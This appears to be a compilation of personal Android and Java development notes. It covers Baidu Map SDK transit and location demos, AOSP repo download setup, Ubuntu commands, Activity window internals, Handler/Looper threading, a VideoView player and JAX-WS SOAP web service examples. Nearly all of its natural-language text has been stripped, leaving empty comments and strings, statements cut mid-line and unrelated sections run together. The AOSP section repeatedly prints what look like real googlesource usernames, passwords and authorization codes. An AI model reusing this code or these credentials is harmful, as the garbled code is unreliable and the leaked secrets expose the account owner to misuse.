" +result.getNumPlan(),	Toast.LENGTH_SHORT).show();
																int	numPlan	=	result.getNumPlan();//	
																if	(numPlan	>	0)	{
																				MKRoutePlan	plan	=	result.getPlan(0);//	index
																				MKRoute	mkRoute	=	plan.getRoute(0);
																				routeOverlay.setData(mkRoute);
																				//	
																				mMapView.getOverlays().add(routeOverlay);
																				//	MapView
																				mMapView.refresh();
																}
												}	else	{
																Toast.makeText(getApplicationContext(),	"" ,
																								Toast.LENGTH_SHORT).show();
												}
								}
				}
				@Override
				protected	void	onPause()	{
								super.onPause();
								mkSearch.destory();
				}
}

①	//			





___

public	int	transitSearch	(java.lang.String	city,MKPlanNode	start,	MKPlanNode	end)

.

MKSearchListeneronGetTransitRouteResult

city	-	()
start	-	
end	-	

0-1

TransitOverlay	

package	cn.zengfansheng.mybaidumap.searchCar;
import	android.os.Bundle;
import	android.widget.Toast;
import	cn.zengfansheng.mybaidumap.BaseActivity;
import	cn.zengfansheng.mybaidumap.BaseMKMapViewListener;
import	cn.zengfansheng.mybaidumap.BaseMkSearchListener;
import	com.baidu.mapapi.map.MapPoi;
import	com.baidu.mapapi.map.TransitOverlay;
import	com.baidu.mapapi.search.MKPlanNode;
import	com.baidu.mapapi.search.MKTransitRoutePlan;
import	com.baidu.mapapi.search.MKTransitRouteResult;
import	com.baidu.platform.comapi.basestruct.GeoPoint;
/**
	*	
	*/
public	class	TransitSearchDemo	extends	BaseActivity	{
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{



								super.onCreate(savedInstanceState);
								transitSearch();
								mapController.enableClick(true);
								mMapView.regMapViewListener(mBMapMan,	new	BaseMKMapViewListener()	{
												@Override
												public	void	onClickMapPoi(MapPoi	mapPoiInfo)	{
																super.onClickMapPoi(mapPoiInfo);
																Toast.makeText(getApplicationContext(),	mapPoiInfo.strText,
																								Toast.LENGTH_SHORT).show();
												}
								});
				}
				/**
					*	1	
					*/
				private	void	transitSearch()	{
								//	1
								mkSearchListener	=	new	MyMkSearchListener();
								mkSearch.init(mBMapMan,	mkSearchListener);
								//	2
								MKPlanNode	start	=	new	MKPlanNode();
								start.pt	=	new	GeoPoint((int)	(39.915	*	1E6),	(int)	(116.404	*	1E6));
								MKPlanNode	end	=	new	MKPlanNode();
								end.pt	=	new	GeoPoint(40057031,	116307852);
								
								mkSearch.transitSearch("" ,	start,	end);
				}
				/**
					*	2
					*/
				private	class	MyMkSearchListener	extends	BaseMkSearchListener	{
								@Override
								public	void	onGetTransitRouteResult(MKTransitRouteResult	result,	int	iError)	{
												super.onGetTransitRouteResult(result,	iError);
												if	(iError	==	0	&&	result	!=	null)	{
																
																//	int	getNumPlan()



																//	
																//	MKTransitRoutePlan	getPlan(int	index)
																//	index
																
																Toast.makeText(getApplicationContext(),	"
" +result.getNumPlan()+"" ,	Toast.LENGTH_SHORT).show();
																
																int	numPlan	=	result.getNumPlan();
																if	(numPlan>0)	{
																				
																				for	(int	i	=	0;	i	<	numPlan;	i++)	{
																								TransitOverlay	transitOverlay	=	new	TransitOverlay(TransitSearchDemo.
																								MKTransitRoutePlan	mkTransitRoutePlan	=	result.getPlan(i);//
																								transitOverlay.setData(mkTransitRoutePlan);
																								//	
																								mMapView.getOverlays().add(transitOverlay);
																				}
																				mMapView.refresh();
																}
																
												}	else	{
																Toast.makeText(getApplicationContext(),	"" ,
																								Toast.LENGTH_SHORT).show();
												}
								}
				}
				@Override
				protected	void	onPause()	{
								super.onPause();
								mkSearch.destory();
				}
}





___

1v4.0
http://developer.baidu.com/map/geosdk-android-developv4.0.htm	
2SDK2.0.0 SDKlocSDK_4.0.jarliblocSDK4.so
public	class	MyLocationOverlay

Overlay

MyLocationOverlay/dispatchTap()

MyLocationOverlay	setData(),setMarker()

1
<service
					android:name="com.baidu.location.f"
					android:enabled="true"
					android:process=":remote"	>
</service>
2MyLocation.java
package	cn.zengfansheng.mybaidumap.location;

	

import	android.os.Bundle;

import	android.util.Log;

import	cn.zengfansheng.mybaidumap.BaseActivity;

import	cn.zengfansheng.mybaidumap.ConstantValue;

	

import	com.baidu.location.BDLocation;

import	com.baidu.location.BDLocationListener;

http://developer.baidu.com/map/geosdk-android-developv4.0.htm
http://developer.baidu.com/map/geosdk-android.htm


import	com.baidu.location.LocationClient;

import	com.baidu.location.LocationClientOption;

import	com.baidu.mapapi.map.LocationData;

import	com.baidu.mapapi.map.MyLocationOverlay;

import	com.baidu.platform.comapi.basestruct.GeoPoint;

	

/**

*	

*/

public	class	MyLocation	extends	BaseActivity	{

	

				private	static	final	String	TAG	=	"MyLocation";

	

				@Override

				protected	void	onCreate(Bundle	savedInstanceState)	{

	

								super.onCreate(savedInstanceState);

	

								//	1LocationClientkey

								init();

	

								mapController.setZoom(17);

				}

	

				//	NOTES======================================================

				//	http://developer.baidu.com/map/geosdk-android-developv4.0.htm

	

				public	LocationClient	mLocationClient	=	null;//	HttpClient

				public	BDLocationListener	myListener;

	

				/**

					*	LocationClientkey

					*/

				private	void	init()	{

	

								//	1LocationClient

								mLocationClient	=	new	LocationClient(getApplicationContext());//

LocationClientContext,getApplicationConextcontext

	

								//	2SDKKEY

								mLocationClient.setAK(ConstantValue.KEY);

	

								//	3

								myListener	=	new	MyBDLocationListener();

								mLocationClient.registerLocationListener(myListener);

	

								//	4

								setLocationOption();

	

								//	5

								sendRequest();

				}

	

				/**

					*	BDLocationListener



					*/

				private	class	MyBDLocationListener	implements	BDLocationListener	{

	

								//	1.BDLocation

								@Override

								public	void	onReceiveLocation(BDLocation	location)	{

												if	(location	==	null)	{

																return;

												}

												StringBuffer	sb	=	new	StringBuffer(256);

												sb.append("time	:	");

												sb.append(location.getTime());

												sb.append("\nerror	code	:	");

												sb.append(location.getLocType());

												sb.append("\nlatitude	:	");

												sb.append(location.getLatitude());

												sb.append("\nlontitude	:	");

												sb.append(location.getLongitude());

												sb.append("\nradius	:	");

												sb.append(location.getRadius());

												if	(location.getLocType()	==	BDLocation.TypeGpsLocation)	{

																sb.append("\nspeed	:	");

																sb.append(location.getSpeed());

																sb.append("\nsatellite	:	");

																sb.append(location.getSatelliteNumber());

												}	else	if	(location.getLocType()	==

BDLocation.TypeNetWorkLocation)	{

																sb.append("\naddr	:	");

																sb.append(location.getAddrStr());

												}

												Log.i(TAG,	sb.toString());

	

												MyLocationOverlay	myLocationOverlay	=	new

MyLocationOverlay(mMapView);

												LocationData	data	=	new	LocationData();

												data.latitude	=	location.getLatitude();

												data.longitude	=	location.getLongitude();

												myLocationOverlay.setData(data);

	

												mMapView.getOverlays().clear();//	Overlay

												mMapView.getOverlays().add(myLocationOverlay);

												mMapView.refresh();

												mapController.animateTo(new	GeoPoint((int)(data.latitude*1E6),

(int)(data.longitude*1E6)));

								}

	

								//	2.POIBDLocation

								@Override

								public	void	onReceivePoi(BDLocation	poiLocation)	{

								}

				}

	

				/**

					*	:GPSeg

					*/



				private	void	setLocationOption()	{

								LocationClientOption	option	=	new	LocationClientOption();

								option.setOpenGps(true);

								option.setAddrType("all");//	

								option.setCoorType("bd09ll");//	,gcj02

								option.setScanSpan(3000);//	5000ms

								option.disableCache(true);//	

								option.setPoiNumber(5);	//	POI

								option.setPoiDistance(1000);	//	poi

								option.setPoiExtraInfo(true);	//	POI

								mLocationClient.setLocOption(option);

				}

	

				/**

					*	onReceiveLocation

					*/

				private	void	sendRequest()	{

								if	(mLocationClient	!=	null	&&	mLocationClient.isStarted())

												mLocationClient.requestLocation();

								else

												Log.d(TAG,	"locClient	is	null	or	not	started");

				}

	

				@Override

				protected	void	onResume()	{

								super.onResume();

								if	(mLocationClient	==	null)	{

												mLocationClient	=	new	LocationClient(getApplicationContext());

								}

								mLocationClient.start();

				}

	

				@Override

				protected	void	onPause()	{

								super.onPause();

								if	(mLocationClient!=null)	{

												mLocationClient.stop();

												mLocationClient	=	null;

								}

				}

}





6 BMapManager			
MapView		View
MapController	
Overlay			
MKSearch		.
MKSearchListener	

1
①
②
③
2
①GraphicsOverlay
②TextOverlay
③ItemizedOverlay
3
①PoiOverlay
②RouteOverlay
③TransitOverlay
④MyLocationOverlay
4



Android

Android
1
①​ubuntugit
				$	sudo	apt-get	install	git-core	curl	
②repo
repo
				$	mkdir	~/bin
$PATH
PATH
				$		export		PATH="$PATH:~/bin"
PATH
				$		echo	$PATHrepo
				$	curl	http://git-repo.googlecode.com/files/repo-1.12	>	~/bin/repo
repo
				$	chmod	a+x	~/bin/repo

touch	~/.netrc
https://www.googlesource.com/new-password?
state=android&code=4/WToywfM4UHkreXLbTfFnBAHajm54.Ur7tMcUzx6kZMqTmHjyTFGPWyLxEhgI
machine	android.googlesource.com	login	git-zfs592645357.gmail.com	password
1/iUnuoNysq3MVIjceeclUgwhhQuedQevsLbYAssKEBZE
machine	android-review.googlesource.com	login	git-zfs592645357.gmail.com	password
1/iUnuoNysq3MVIjceeclUgwhhQuedQevsLbYAssKEBZE

2
mkdir	-p	~/develop/anroid4.3
cd	~/develop/anroid4.3

repo	init	-u	https://android.googlesource.com/a/platform/manifest	repo	init
git	config	--global	user.email	"zeng_fansheng@sina.com"
git	config	--global	user.name	"hacket"

cp	/home/hacket/bin/.repo/repo/repo	/home/hacket/bin/repo
repo	init	-u		https://android.googlesource.com/platform/manifest	-b	android-4.4_r1

https://www.googlesource.com/new-password?state=android&code=4/WToywfM4UHkreXLbTfFnBAHajm54.Ur7tMcUzx6kZMqTmHjyTFGPWyLxEhgI


~/tryrepo.sh
#!	/bin/bash
echo	"=====start	repo	sync======"	
repo	sync	
while	[	$?	=	1	];	do	
echo	“======sync	failed,	re-sync	again======”	
sleep	3	
repo	sync	
done		
tryrepo.sh
chmod	a+x	~/tryrepo.sh

cd	~/develop/anroid4.3
~/tryrepo.sh

ubunbu
①root
sudo	passwd		root	
su	root
②
rm	-rf	xxx
③
sudo	adduser	test	
xiaosheng		sudoers	
rootusermod	-G	sudo	xiaosheng
④
userdel	-r	test		-r	

1
object	12fd10c20115046dcd2fbe468a45e566f38ffbc9
type	commit
tag	v1.12.7
tagger	Conley	Owens	<cco3@android.com>	1381959964	-0700

repo	1.12.7

gpg:		20131017		054604	CST		RSA	692B382C



gpg:	
error:		tag	'v1.12.7'

google repo	syncsync~/.repoconfig

rm	-r		~/.repoconfig/	



googlehttp://source.android.com/source/downloading.html ip
	the	password	generatorhttps://android.googlesource.com/new-password		
machine		~/.netrc
repo	init	-u	https://android.googlesource.com/a/platform/manifest		“/a”

repo	sync

Login	for	Git:

Username:	git-zfs592645357.gmail.com
Password:	1/IG2LlTvaTikV0avNiIX3-lnFC6Zq4RfcvRDID8zZJv0



Staying	Authenticated	-	Linux	and	Mac	OS	X:
To	stay	authenticated	by	saving	the	password,	append	the	following	line
to	the	~/.netrc	configuration	file:
machine	android.googlesource.com	login	git-zfs592645357.gmail.com
password	1/IG2LlTvaTikV0avNiIX3-lnFC6Zq4RfcvRDID8zZJv0
machine	android-review.googlesource.com	login	git-
zfs592645357.gmail.com	password	1/IG2LlTvaTikV0avNiIX3-
lnFC6Zq4RfcvRDID8zZJv0
Make	sure	you	have	set	the	permissions	on	~/.netrc	so	that	only	your
user	account	can	read	the	file.	If	your	home	directory	is	on	a	network
filesystem,	consider	moving	it	to	a	local	disk	and	making	~/.netrc	a
symbolic	link	to	the	local	version.



Staying	Authenticated	-	Windows:
To	stay	authenticated	by	saving	the	password,	append	the	following	line
to	the	%HOME%\_netrc	configuration	file:
machine	android.googlesource.com	login	git-zfs592645357.gmail.com
password	1/IG2LlTvaTikV0avNiIX3-lnFC6Zq4RfcvRDID8zZJv0
machine	android-review.googlesource.com	login	git-
zfs592645357.gmail.com	password	1/IG2LlTvaTikV0avNiIX3-
lnFC6Zq4RfcvRDID8zZJv0
Ensure	%HOME%	is	configured	in	the	environment	to	be	the	same
location	as	%USERPROFILE%.	Note	that	by	default,	Windows	systems
will	not	define	the	environment	variable	%HOME%;	you	must	explicitly
add	it:
Start	menu	->	Computer	->	(right	click)	->	Properties	->	Advanced
System	Settings	->	Environment	Variables
Make	sure	you	have	set	the	permissions	on	%HOME%\_netrc	so	that
only	your	user	account	can	read	the	file.
	< https://www.googlesource.com/new-password?
state=android&code=4/C3tET2I2kG-
oVZhTKfMkwvEydt_0.0n5xUc7TjQcQgrKXntQAax3Q6ok-hgI>

https://www.googlesource.com/new-password?state=android&code=4/C3tET2I2kG-oVZhTKfMkwvEydt_0.0n5xUc7TjQcQgrKXntQAax3Q6ok-hgI


Android



_Android



_ActivityWindowView

Activityattach() ContextImpl.java
|——startActivity(Intent	intent,	Bundle	options)	{}
				|——mMainThread.getInstrumentation().execStartActivity
				|——ActivityThread
				public	Instrumentation	getInstrumentation()
				{
								return	mInstrumentation;
				}
							|——final	ActivityMonitor	am	=	mActivityMonitors.get(i);
										|——newActivity
													|——activity.attach()
ContextImplstartActivity()ActivityMonitor(Instrumentation ) newActivity
activity.attach()
Activity.attach()
private	Window	mWindow;

final	void	attach(Context	context,	ActivityThread	aThread,
												Instrumentation	instr,	IBinder	token,	int	ident,
												Application	application,	Intent	intent,	ActivityInfo	info,
												CharSequence	title,	Activity	parent,	String	id,
												NonConfigurationInstances	lastNonConfigurationInstances,
												Configuration	config)	{
								attachBaseContext(context);
	
								mFragments.attachActivity(this,	mContainer,	null);
	
								mWindow	=	PolicyManager.makeNewWindow(this);
								mWindow.setCallback(this);
								mWindow.getLayoutInflater().setPrivateFactory(this);
								if	(info.softInputMode	!=
WindowManager.LayoutParams.SOFT_INPUT_STATE_UNSPECIFIED)	{
												mWindow.setSoftInputMode(info.softInputMode);
								}
								if	(info.uiOptions	!=	0)	{
												mWindow.setUiOptions(info.uiOptions);
								}
								mUiThread	=	Thread.currentThread();
	
								mMainThread	=	aThread;
								mInstrumentation	=	instr;
								mToken	=	token;



								mIdent	=	ident;
								mApplication	=	application;
								mIntent	=	intent;
								mComponent	=	intent.getComponent();
								mActivityInfo	=	info;
								mTitle	=	title;
								mParent	=	parent;
								mEmbeddedID	=	id;
								mLastNonConfigurationInstances	=	lastNonConfigurationInstances;
	
								mWindow.setWindowManager(
																(WindowManager)context.getSystemService(Context.WINDOW_SERVICE),
																mToken,	mComponent.flattenToString(),
																(info.flags	&	ActivityInfo.FLAG_HARDWARE_ACCELERATED)	!=	0);
								if	(mParent	!=	null)	{
												mWindow.setContainer(mParent.getWindow());
								}
								mWindowManager	=	mWindow.getWindowManager();
								mCurrentConfig	=	config;
				}

PolicyManager		
		①	|--makeNewWindow
			public	static	Window	makeNewWindow(Context	context)	{
								return	sPolicy.makeNewWindow(context);
			}
			②|--private	static	final	IPolicy	sPolicy;
			|--IPolicy	
			public	interface	IPolicy	{
								public	Window	makeNewWindow(Context	context);

								public	LayoutInflater	makeNewLayoutInflater(Context	context);

								public	WindowManagerPolicy	makeNewWindowManager();

								public	FallbackEventHandler	makeNewFallbackEventHandler(Context	context);
			}
			|--IPolicycom.android.internal.policy.implPolicy makeNewWindow()
			③public	class	Policy	implements	IPolicy	{
							public	Window	makeNewWindow(Context	context)	{
											return	new	PhoneWindow(context);
							}



				}
			④|--PhoneWindowgetLayoutInflater()
			private	LayoutInflater	mLayoutInflater;	
		@Override
		public	LayoutInflater	getLayoutInflater()	{
							return	mLayoutInflater;
		}
		⑤|--	PhoneWindowsetContentView
			public	void	setContentView(View	view,	ViewGroup.LayoutParams	params)	{

				if	(mContentParent	==	null)	{
								installDecor();
				}	else	{
								mContentParent.removeAllViews();
				}
				mContentParent.addView(view,	params);
				final	Callback	cb	=	getCallback();
				if	(cb	!=	null	&&	!isDestroyed())	{
								cb.onContentChanged();
				}

				}
①Activityattach
②attachPolicyManager.makeNewWindow()WindowIPolicy
makeNewWindow
③IPolicyPolicymakeNewWindowPhoneWindow
④ActivityonCreatesetContentViewPhoneWindowsetContentView
ViewGrouproot
⑤mContentParentnullinstallDecorDecorView	extends	FrameLayout
mContentParent(Viewgroup)View

ActivityattachonCreateattachPhoneWindowonCreatesetContentView
Window
ActivityWindowView





——

Linux

Linux
Linux
Linux
	
1 windows
ProcessThread

2 Linux
Process



Pthread.c
2-1Linux

LinuxThreads
RedHatNPTLNative	POSIX	Thread	Library	()

	
①
②

Foreground	Process
Visible	Process
Service	Process
Background	Process
Empty	Process
				

③ActivityManager.RunningAppProcessInfo		





——

	

1.	 Thread
2.	 Runnable
3.	 Handler
4.	 AsyncTask

1Thread
2Runnable
3Handler

	

1Handler
①sendMessage()
public	final	boolean	sendMessage(Message	msg)
{
				return	sendMessageDelayed(msg,	0);
}
②
2Message
3MessageQueueMessage
sendMessageMessageMessageQueue



4Looper
loopwhile(true)MessageQueueMessage
Message	msg	=	queue.next();block
public	static	void	loop()	{
				final	Looper	me	=	myLooper();
				if	(me	==	null)	{
								throw	new	RuntimeException("No	Looper;	Looper.prepare()	wasn't	called
on	this	thread.");
				}
				final	MessageQueue	queue	=	me.mQueue;
				......
}
①msg.target.dispatchMessage(msg);		
handleMessage(msg)
②Looper
HandlerThread
5HandlerThread	
HandlerThread	extends	Threadrun
①Looper.prepare();
②Looper.loop();
6Handler

4AsyncTask
Handler
Handler
public	static	final	Executor	THREAD_POOL_EXECUTOR



								=	new	ThreadPoolExecutor(CORE_POOL_SIZE,	MAXIMUM_POOL_SIZE,

KEEP_ALIVE,TimeUnit.SECONDS,	sPoolWorkQueue,	sThreadFactory,	new

ThreadPoolExecutor.DiscardOldestPolicy());

AsyncTaskHandler



VideoViewMediaPlayerSurface

	
1
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"
				>
				<VideoView
								android:id="@+id/vv"
								android:layout_width="match_parent"
								android:layout_height="match_parent"	/>
</LinearLayout>
2
package	cn.zengfansheng.videoplayerdemo;
import	android.app.Activity;
import	android.content.Intent;
import	android.media.MediaPlayer;
import	android.media.MediaPlayer.OnCompletionListener;
import	android.media.MediaPlayer.OnErrorListener;
import	android.media.MediaPlayer.OnPreparedListener;
import	android.net.Uri;



import	android.os.Bundle;
import	android.os.Environment;
import	android.util.Log;
import	android.widget.MediaController;
import	android.widget.Toast;
import	android.widget.VideoView;
public	class	VideoActivity	extends	Activity	{
				private	static	final	String	TAG	=	"VideoActivity";
				//	
				private	VideoView	vv;
				private	Intent	mIntent;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_video);
								vv	=	(VideoView)	this.findViewById(R.id.vv);
								
								play();
				}
				private	void	play()	{
								
								//	ActivityIntent,
								mIntent	=	getIntent();
								String	sdPath	=	Environment.getExternalStorageDirectory().getAbsolutePath
								
								String	mPath	=	sdPath+"//ols.mp4" ;
								Log.i(TAG,	mPath);
								Uri	mUri	=	Uri.parse("file://"	+	mPath);
								
								if	(mIntent	!=	null)	{
												//	1	
												//	mUri	=	mIntent.getData();
												//	2 sd
												Log.i(TAG,	"" 	+	mPath);
												//	VideoView
												vv.setVideoURI(mUri);
								}



								
								//	
								vv.setOnPreparedListener(new	OnPreparedListener()	{
												
												@Override
												public	void	onPrepared(MediaPlayer	mp)	{
																//	1	seekTo()	2,
																//	
																if	(vv	!=	null)	{
																				Log.i(TAG,	"" );
																				mp.start();
																}
												}
								});
								//	
								vv.setOnCompletionListener(new	OnCompletionListener()	{
												@Override
												public	void	onCompletion(MediaPlayer	mp)	{
																//	1	2
																Toast.makeText(VideoActivity.this,	"
" ,	Toast.LENGTH_SHORT).show();
																mp.stop();
												}
								});
								//	
								vv.setOnErrorListener(new	OnErrorListener()	{
												@Override
												public	boolean	onError(MediaPlayer	mp,	int	what,	int	extra)	{
																//	12,3
																Toast.makeText(VideoActivity.this,	"
" ,	Toast.LENGTH_SHORT).show();
																return	true;
												}
								});
								//	/
								vv.setMediaController(new	MediaController(this));
				}



}
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Activity
1ListActivity
Activityandroid2.2Activty
2ActivityActivityActivityfinish
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webservice
www.webxml.com.cn	

webservice
webservice
1webservice
2webservice

WSDLSOAP
WSDL:WebService
webservice	description	language		 web
SOAPHTTP+XML
simple	object	access	protocol

http://www.webxml.com.cn


SOAP

WSDL



SOAP

	



SOAP

	



webservice

webservice
1 www.webxml.com.cn	webservice
2 wsimport		-s	.		 webservicewsdl		wsdlxmljava
wsimportjdk
3new
java
wsdl

①wsdlservice	namewebservice
②,MobileCodeMSnew	MobileCodeMS
③wsdlportXXXMobileCodeWSSoapgetXXX
MobileCodeMS		get	MobileCodeWSSoap()

1

1 www.webxml.com.cn
2wsdl
3wsimport		-s	.		webservicewsdljava
4
5wsdlwebservice
6new
7portXXXgetXXX
8

wsimport		-s	.		 webservicewsdl
wsdlxml
wsimportjava1
wsdl webservicexmlwsdlxmlxmlwsdl

http://www.webxml.com.cn
http://www.webxml.com.cn
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wsimport



webservice
jdkjdk1.6.0_21
1@WebService
2EndPoint()
webservice
①static
②final

The	web	service	defined	by	the	class	cn.zengfansheng.webservice.publish.Hello	does	not	contain	any	valid	WebMethods.
sayHello
①
1Hello	 @WebService
2	 Endpoint.publish(address,	new	Hello());
②
1address?wsdl,webservice
http://localhost:8080/sayhello?wsdl	
2webservice
<service	name="HelloService">
				<port	name="HelloPort"	binding="tns:HelloPortBinding">
								<soap:address	location="http://localhost:8080/sayhello"/>
				</port>

http://localhost:8080/sayhello?wsdl


</service>
3wsimportjava
wsimport	-s	.	http://localhost:8080/sayhello?wsdl

	
javawsimport	-p	
4new
HelloService	service	=	new	HelloService();
								Hello	hello	=	service.getHelloPort();
								String	s	=	hello.sayHello("hacket");
								System.out.println(s);

1
package	cn.zengfansheng.webservice.publish;
import	javax.jws.WebService;
import	javax.xml.ws.Endpoint;
/**
	*	@WebService		Java		Web	Service	Java		Web	Service	
	*/
@WebService
public	class	Hello	{
				public	static	void	main(String[]	args)	{
								/**
									*	1
									*	
									*	2
									*/
								String	address	=	"http://localhost:8080/sayhello";
								Endpoint.publish(address,	new	Hello());
							
								//	Endpoint.publish

http://localhost:8080/sayhello?wsdl


								System.out.println("server	ready...");
				}
				public	String	sayHello(String	name)	{
								System.out.println("~~" );
								return	"Hello,"	+	name;
				}
}
2
package	cn.zengfansheng.publish;
import	cn.zengfansheng.webservice.publish.Hello;
import	cn.zengfansheng.webservice.publish.HelloService;
public	class	MyApp	{
				/**
					*	@param	args
					*/
				public	static	void	main(String[]	args)	{
								HelloService	service	=	new	HelloService();
								Hello	hello	=	service.getHelloPort();
								String	s	=	hello.sayHello("hacket");
								System.out.println(s);
				}
}



WSDL

WSDL
1 http://localhost:8080/sayhello?wsdl		

2 http://localhost:8080/sayhello?xsd=1		

http://localhost:8080/sayhello?wsdl
http://localhost:8080/sayhello?xsd=1
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④
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1webserviceweb

	
webservice
1webservicehttp	post
2webservicesoapxml(json)
2ajax

3webservice

	



webservice

1wsimport
2ajax
eclipsesoap

<html>
				<head>
								<title>ajaxwebservice</title>
								<script>
												var	xhr	=	new	ActiveXObject("Microsoft.XMLHTTP");
												function	sendAjaxRequest(){
																//webservice
																var	wsUrl	=	"http://192.168.1.100:6789/hello";
																//SOAP
																



																var	requestBody	=	'<soapenv:Envelope	xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"	xmlns:q0="http://publish.webservice.zengfansheng.cn/"	xmlns:xsd="http://www.w3.org/2001/XMLSchema"	xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance"><soapenv:Body><q0:sayHello><arg0>'+document.getElementById("name"
																
																//
																xhr.open("POST",wsUrl,true);
																//
																xhr.setRequestHeader("content-type","text/xml;charset=UTF-8");
																//
																xhr.onreadystatechange	=	_back;
																//
																xhr.send(requestBody);
																//alert('');
												}
												//
												function	_back(){
																alert(xhr.readyState);
																if(xhr.readyState	==	4){
																				alert(xhr.status);
																				if(xhr.status	==	200){
																								//
																								var	ret	=	xhr.responseXML;
																								var	ele	=	ret.getElementsByTagName('return')[0];
																								//alert(ele.text);
																								document.getElementById('showInfo').innerHTML	=	ele.text;
																				}
																}
												}
								</script>
				</head>
				<body>
								<input	type="text"	id="name">
								<input	type="button"	value="ajax" 	onclick="sendAjaxRequest();">
								<div	id="showInfo"></div>
				</body>
</html>
IE6

http://127.0.0.1:52174/wse/wsdl/soap_envelope_xml.jsp?soapEnvelopeType=0
http://127.0.0.1:52174/wse/wsdl/soap_envelope_xml.jsp?soapEnvelopeType=0
http://127.0.0.1:52174/wse/wsdl/soap_envelope_xml.jsp?soapEnvelopeType=0


				soap <soapenv:Envelope	xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/
<soapenv:Body>
<q0:sayHello>
<arg0>hacket</arg0>
		</q0:sayHello>
		</soapenv:Body>



webservice2——URLConnection

package	cn.zengfansheng.webservice.urlconnection;
import	java.io.IOException;
import	java.io.InputStream;
import	java.io.OutputStream;
import	java.io.StringWriter;
import	java.net.HttpURLConnection;
import	java.net.MalformedURLException;
import	java.net.ProtocolException;
import	java.net.URL;
public	class	WebUrlConnection	{
				public	static	void	main(String[]	args)	{
								try	{
												//
												String	wsUrl	=	"http://localhost:8080/sayhello";
												
												URL	url	=	new	URL(wsUrl	);
												//
												HttpURLConnection	conn	=	(HttpURLConnection)	url.openConnection();
												
												//
												conn.setRequestProperty("content-type",	"text/xml;charset=utf-8");
												conn.setRequestMethod("POST");
												
												conn.setDoInput(true);
												conn.setDoOutput(true);
												
												//SOAP
												
												String	requestBody	=	"
<soapenv:Envelope	xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"	xmlns:q0=\"http://publish.webservice.zengfansheng.cn/\"	"
																				"xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"	xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
																				"<soapenv:Body><q0:sayHello><arg0>xiaosheng</arg0></q0:sayHello></soapenv:Body></soapenv:Envelope>"
												
												//				



												OutputStream	out	=	conn.getOutputStream();
												out.write(requestBody.getBytes());
												
												int	code	=	conn.getResponseCode();
												if	(code==200)	{//	
																InputStream	is	=	conn.getInputStream();
																StringWriter	sw	=	new	StringWriter();
																byte[]	buf	=	new	byte[1024];
																int	len	=	0;
																while	((len=is.read(buf))!=-1)	{
																				String	s	=	new	String(buf,	0,	len,"utf-8");
																				sw.append(s);
																}
																System.out.println(sw.toString());
												//				is.close();
												}
												//out.close();
								}	catch	(MalformedURLException	e)	{
												e.printStackTrace();
								}	catch	(ProtocolException	e)	{
												e.printStackTrace();
								}	catch	(IOException	e)	{
												e.printStackTrace();
								}
				}
}



webservice3——

①wsimportwebservice
②UrlConnectionwebservicexml
③
①wsimport	-s	.	-p	cn.zengfansheng.client	http://localhost:8080/sayhello?wsdl	
②Hello.java()
③Service
④QName
⑤

package	cn.zengfansheng.client;
import	java.net.URL;
import	javax.xml.namespace.QName;
import	javax.xml.ws.Service;
public	class	MyApp	{
				public	static	void	main(String[]	args)	throws	Exception	{
								
								//1 wsdl								
								URL	wsdlDocumentLocation	=	new	URL("http://localhost:8080/sayhello?
wsdl");

http://localhost:8080/sayhello?wsdl


								
								//2namespaceURIwsdldefinitionstargetNamespace
								String	namespaceURI	=	"http://publish.webservice.zengfansheng.cn/";
								//3localPartwsdlservicename
								String	localPart	=	"HelloService";
								QName	serviceName	=	new	QName(namespaceURI,	localPart	);
								Service	service	=	Service.create(wsdlDocumentLocation,	serviceName);//
Service
								
								//4serviceportname				
								QName	portName	=	new	QName(namespaceURI,	"HelloPort");
								Class<Hello>	serviceEndpointInterface	=	Hello.class;
								Hello	hello	=	service.getPort(portName,	serviceEndpointInterface);
								
								String	hi	=	hello.sayHello("hacket");
								System.out.println(hi);//Hello,hacket
								System.out.println(hello.getClass().getSimpleName());//$Proxy26
				}
}



1Eclipse- Web	Services	Explorer
soapsoapsource
2IE-Http	Watch
3Eclipse-TCP/IP	Monitor
localhost:9999www.baidu.com

http://www.localhost.com:9999/





soapwsdl

SOAP 	
WSDL

	



package	cn.zengfansheng.webservice.publish;
import	javax.jws.WebMethod;
import	javax.jws.WebParam;
import	javax.jws.WebResult;
import	javax.jws.WebService;
import	javax.xml.ws.Endpoint;
/**
	*	@WebService		Java		Web	Service	Java		Web	Service	
	*/
@WebService(serviceName="MyHello",targetNamespace="http://www.zengfansheng.cn"
//serviceName wsdlservicename
//targetNamespace wsdldefinitionstargetNamespace()
public	class	Hello	{
				public	static	void	main(String[]	args)	{
								/**
									*	1
									*	
									*	2
									*/
								String	address	=	"http://localhost:8080/sayhello";
								Endpoint.publish(address,	new	Hello());
				}
				
				@WebMethod(operationName="hacket")
				//operationName wsdloperationname



				@WebResult(name="myReturn")
				//name? xsd=1elementreturnmyReturn
				public	String	sayHello(
												@WebParam(name="name")
												//name? xsd=1arg0name
												String	name)	{
								System.out.println("~~" );
								return	"Hello,"	+	name;
				}
				@WebMethod(exclude=true)
				//wsdl
				public	void	haha(int	i	,	char	c){
								
				}
}



webservice

xml
xml

soapxml
<S:Envelope	xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
				<S:Body>
								<ns2:findPersonByIdCardResponse
												xmlns:ns2="http://ws.itcast.cn/">
												<return>
																<age>10</age>
																<idCard>007</idCard>
																<name>zhagnsan</name>
												</return>
								</ns2:findPersonByIdCardResponse>
				</S:Body>
</S:Envelope>
server
package	cn.itcast.ws;
	
import	javax.jws.WebService;
import	javax.xml.ws.Endpoint;
	
import	cn.itcast.domain.Person;
	
@WebService
public	class	PersonService	{
	
				/**
					*	
					*/
				public	Person	findPersonByIdCard(String	idCard){
								Person	p	=	new	Person();
								p.setIdCard(idCard);
								p.setName("zhagnsan");
								p.setAge(10);
								return	p;



				}
	
				public	static	void	main(String[]	args)	{
								Endpoint.publish("http://localhost:9876/person",	new	PersonService());
								System.out.println("personService	ready...");
				}
}

client
package	cn.itcast.ws;
public	class	App	{
